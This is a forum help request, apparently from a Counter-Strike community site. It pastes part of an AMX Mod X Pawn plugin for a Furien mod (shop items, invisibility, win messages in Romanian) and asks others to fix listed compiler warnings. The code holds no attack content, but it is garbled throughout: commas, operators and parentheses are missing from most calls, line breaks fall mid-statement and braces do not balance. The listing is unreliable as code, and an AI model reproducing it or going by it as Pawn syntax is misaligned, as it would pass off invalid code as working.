give_item(id,"weapon_hegrenade");
                    
emit_sound(idCHAN_ITEMszPickAmmoSoundVOL_NORMATTN_NORM0PITCH_NORM)
                    
ChatColorid"^x04[WATF-Shop]^x01 Ai cumparat HE Grenade cu $3000!");
                }
            }
            else
            {
                
ChatColorid"^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara HE Grenade!");
            }
        } 
        
        case 
2
        { 
            if(
cs_get_user_money(id) >= 3000)
            {
                new 
hp get_user_health(id);
                if(
hp<150)
                {
                    new 
bani cs_get_user_money(id);
                    
cs_set_user_money(idbani 3000);
                    if(
hp 50 150)
                    {
                        
set_user_health(id150);
                    }
                    else
                    {
                        
set_user_health(idhp 50);
                    }
                    
emit_sound(idCHAN_ITEMszPickAmmoSoundVOL_NORMATTN_NORM0PITCH_NORM)
                    
//ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat 50 HP cu $3000!");
                
}
                else
                {
                    
ChatColorid"^x04[WATF-Shop]^x01 Ai deja HP-ul la maxim (150 HP)!");
                }
            }
            else
            {
                
ChatColorid"^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara 50 HP!");
            }
        } 
        
        case 
3:
        {
            if(
cs_get_user_money(id) >= 5000)
            {
                new 
CsArmorType:itype;
                new 
armor cs_get_user_armor(id,itype)
                if(
armor<100)
                {
                    new 
bani cs_get_user_money(id);
                    
cs_set_user_money(idbani 5000);
                    
cs_set_user_armor(id,100CS_ARMOR_VESTHELM);
                    
emit_sound(idCHAN_ITEMszPickAmmoSoundVOL_NORMATTN_NORM0PITCH_NORM)
                    
//ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat 100 AP + Helmet cu $5000!");
                
}
                else
                {
                    
ChatColorid"^x04[WATF-Shop]^x01 Ai deja AP-ul + Helmet la maxim (100 AP + Helmet)!");
                }
            }
            else
            {
                
ChatColorid"^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara 100 AP + Helmet!");
            }
        }
    
    case 
4
        { 
            if(
cs_get_user_money(id) >= 9000)
            {
                if(!
areblackpack[id])
                {
                    new 
bani cs_get_user_money(id);
                    
cs_set_user_money(idbani 9000);
                    
areblackpack[id]=1;
                    if( 
get_user_weapon(id) == CSW_KNIFE )
                    {
                        
set_pev(idpev_viewmodel2knifebp)
                    }
                    
//areet[id]=0;
                    
cs_set_user_modelid"blackpackff" );
                    
cs_set_user_armor(id100CS_ARMOR_VESTHELM);
                    
emit_sound(idCHAN_ITEMszPickAmmoSoundVOL_NORMATTN_NORM0PITCH_NORM)
                    
//menu_display(id, g_iMenu4);
                    //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat SuperKnife cu $15000!");
                
}
                else
                {
                    
ChatColorid"^x04[WATF-Shop]^x01 Ai deja Black Pack!");
                }
            }
            else
            {
                
ChatColorid"^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara Black Pack!");
            }
        } 
    }  
   }


public 
Decenupot(idmenuitem)
{
    if(
item == || item == 6)
    {
        
show_motd(id,"/addons/amxmodx/configs/motdnoninregistrati.html")
    }
}

/*public HandleGunMenu4(id, menu, item)
{
        //if(!fpause)
    //{
    if(!ANTIF2 && is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT)
    {
    switch(item)
    {
        case 0: 
        { 
            crithp[id] = 20;
        }
    
        case 1:
        {
            crithp[id] = 0;
        }
    }
    }
}*/

public Message_SendAudio(iMsgIdiMsgDestid)
{
    if(!
a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090)
    {
    if( !
id )
    {
        new 
bool:bAntiWins
        
new szSound[14]
        
schimbareeq=1;
        
get_msg_arg_string(2szSoundcharsmax(szSound))
        if( 
equal(szSound"%!MRAD_ctwin") )
        {
            
bAntiWins true
            EnableHamForward
g_iHhTakeDamage )
        }
        else if( 
equal(szSound"%!MRAD_terwin") )
        {
            
bAntiWins false
            EnableHamForward
g_iHhTakeDamage )
        }
        else
        {
            return
        }

        if( 
get_msg_block(g_iTextMsg) == BLOCK_NOT )
        {
            
set_msg_block(g_iTextMsgBLOCK_ONCE)
        }

        new 
iPlayers[32], iNumiPlayer
        get_players
(iPlayersiNum)
        for(new 
ii<iNumi++)
        {
            
iPlayer iPlayers[i]
            
client_print(iPlayerprint_center"%L"iPlayerbAntiWins "FURIEN_ANTI_WIN_MSG" "FURIEN_FURIEN_WIN_MSG")
        }

        if( 
bAntiWins )
        {
            
set_msg_arg_string(2afs)
        }
        else
        {
            
set_msg_arg_string(2fs)
        }        
    }
    }
}

public 
Player_ResetMaxSpeedid )
{
        if(!
fpause)
    {
    if( 
is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_T && get_user_maxspeed(id) != -1.0 )
    {
        if(
areblackpack[id])
    {
        
set_user_maxspeed(idget_pcvar_float(g_pCvarMaxSpeed2))
    }
    else
    {
        
set_user_maxspeed(idget_pcvar_float(g_pCvarMaxSpeed))
    }
    }
   }
}

public 
Set_Terrorist_VisibilityiEnt )
{
    
entity_set_float(iEntEV_FL_nextthinkget_gametime() + 0.1)
        if(!
a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090)
        {
        
            new 
iPlayers[MAX_PLAYERS], iNumidFloat:fVecVelocity[3], iSpeed
            get_players
(iPlayersiNum"ae""TERRORIST")
        
            new 
iInvisibility
            
for(new ii<iNumi++)
            {
            
id iPlayers[i]
            if(!
fpause)
            {
                if( 
get_user_weapon(id) == CSW_KNIFE )
                {
                    if(
areblackpack[id] && cloackinuse[id])
                    {
                        
set_user_rendering(idkRenderFxNone000kRenderTransAlpha0)
                    }
                    else
                    {
                        
entity_get_vector(idEV_VEC_velocityfVecVelocity)
                        
iSpeed floatroundvector_length(fVecVelocity) )
                        if( 
iSpeed 255 )
                        {
                            
iInvisibility iSpeed - (256 iSpeed) / 3
                            
if( iInvisibility )
                            {
                            
iInvisibility 0
                            
}
                            
set_user_rendering(idkRenderFxNone000kRenderTransAlphaiInvisibility)
                        }
                        else
                        {
                            
set_user_rendering(idkRenderFxNone000kRenderNormal0)
                        }
                    }
                }
                else
                {
                    
set_user_rendering(idkRenderFxNone000kRenderNormal0)
                }
            }
            else
            {
                
set_user_rendering(idkRenderFxNone000kRenderNormal0);
            }
            }
        }
}  

public 
Hostage_SpawniHostage )
{
    
remove_entity(iHostage)
    return 
HAM_SUPERCEDE
}

public 
Player_TakeDamage()
{
    return 
HAM_SUPERCEDE
}

stock ham_strip_weapon(id,weapon[])
{
    if(!
equal(weapon,"weapon_",7)) return 0;

    new 
wId get_weaponid(weapon);
    if(!
wId) return 0;

    new 
wEnt;
    while((
wEnt engfunc(EngFunc_FindEntityByString,wEnt,"classname",weapon)) && pev(wEnt,pev_owner) != id) {}
    if(!
wEnt) return 0;

    if(
get_user_weapon(id) == wIdExecuteHamB(Ham_Weapon_RetireWeapon,wEnt);

    if(!
ExecuteHamB(Ham_RemovePlayerItem,id,wEnt)) return 0;
    
ExecuteHamB(Ham_Item_Kill,wEnt);

    
set_pev(id,pev_weapons,pev(id,pev_weapons) & ~(1<<wId));

    
// this block should be used for Counter-Strike:
    /*if(wId == CSW_C4)
    {
        cs_set_user_plant(id,0,0);
        cs_set_user_bpammo(id,CSW_C4,0);
    }
    else if(wId == CSW_SMOKEGRENADE || wId == CSW_FLASHBANG || wId == CSW_HEGRENADE)
        cs_set_user_bpammo(id,wId,0);*/

    
return 1;
}

stock set_user_deathiPlayeriNew_death )
{
    
set_pdata_intiPlayer444iNew_death)
    
    
// Update Scoreboard.
    
message_beginMSG_ALLg_iMsg_ScoreInfo )
    
write_byteiPlayer )
    
write_shortget_user_fragsiPlayer ) )
    
write_shortiNew_death )
    
write_short(0)
    
write_shortget_user_teamiPlayer ) )
    
message_end()
}

stock ChatColor(const id, const input[], any:...)
{
    new 
count 1players[32]
    static 
msg[191]
    
vformat(msg190input3)
    
    
replace_all(msg190"!g""^4"// Green Color
    
replace_all(msg190"!y""^1"// Default Color
    
replace_all(msg190"!team""^3"// Team Color

    
    
if (idplayers[0] = id; else get_players(playerscount"ch")
    {
        for (new 
0counti++)
        {
            if (
is_user_connected(players[i]))
            {
            
message_begin(MSG_ONE_UNRELIABLEg_iMsgSayText_players[i])
            
write_byte(players[i]);
            
write_string(msg);
            
message_end();
            }
        }
    }



I get these errors

PHP Code:

/tmp/textu6jYuP.sma(540) : warning 209: function "daBP" should return a value
/tmp/textu6jYuP.sma(629) : warning 209: function "CWeaponBox_Touch" should return a value
/tmp/textu6jYuP.sma(782) : warning 217loose indentation
/tmp/textu6jYuP.sma(809) : warning 217loose indentation
/tmp/textu6jYuP.sma(1106) : warning 209: function "Player_Spawn_Post" should return a value
/tmp/textu6jYuP.sma(2232) : warning 217loose indentation
/tmp/textu6jYuP.sma(2362) : warning 204symbol is assigned a value that is never used"g_details"
/tmp/textu6jYuP.sma(2362) : warning 204symbol is assigned a value that is never used"g_pCvarMaxSpeed3"
/tmp/textu6jYuP.sma(2362) : warning 204symbol is assigned a value that is never used"g_team_color" 

Fix it for me , please.

Przeczytaj cały wpis

Odnośnik do komentarza
Udostępnij na innych stronach

Gość
Ten temat został zamknięty. Brak możliwości dodania odpowiedzi.
 Udostępnij

×
×
  • Dodaj nową pozycję...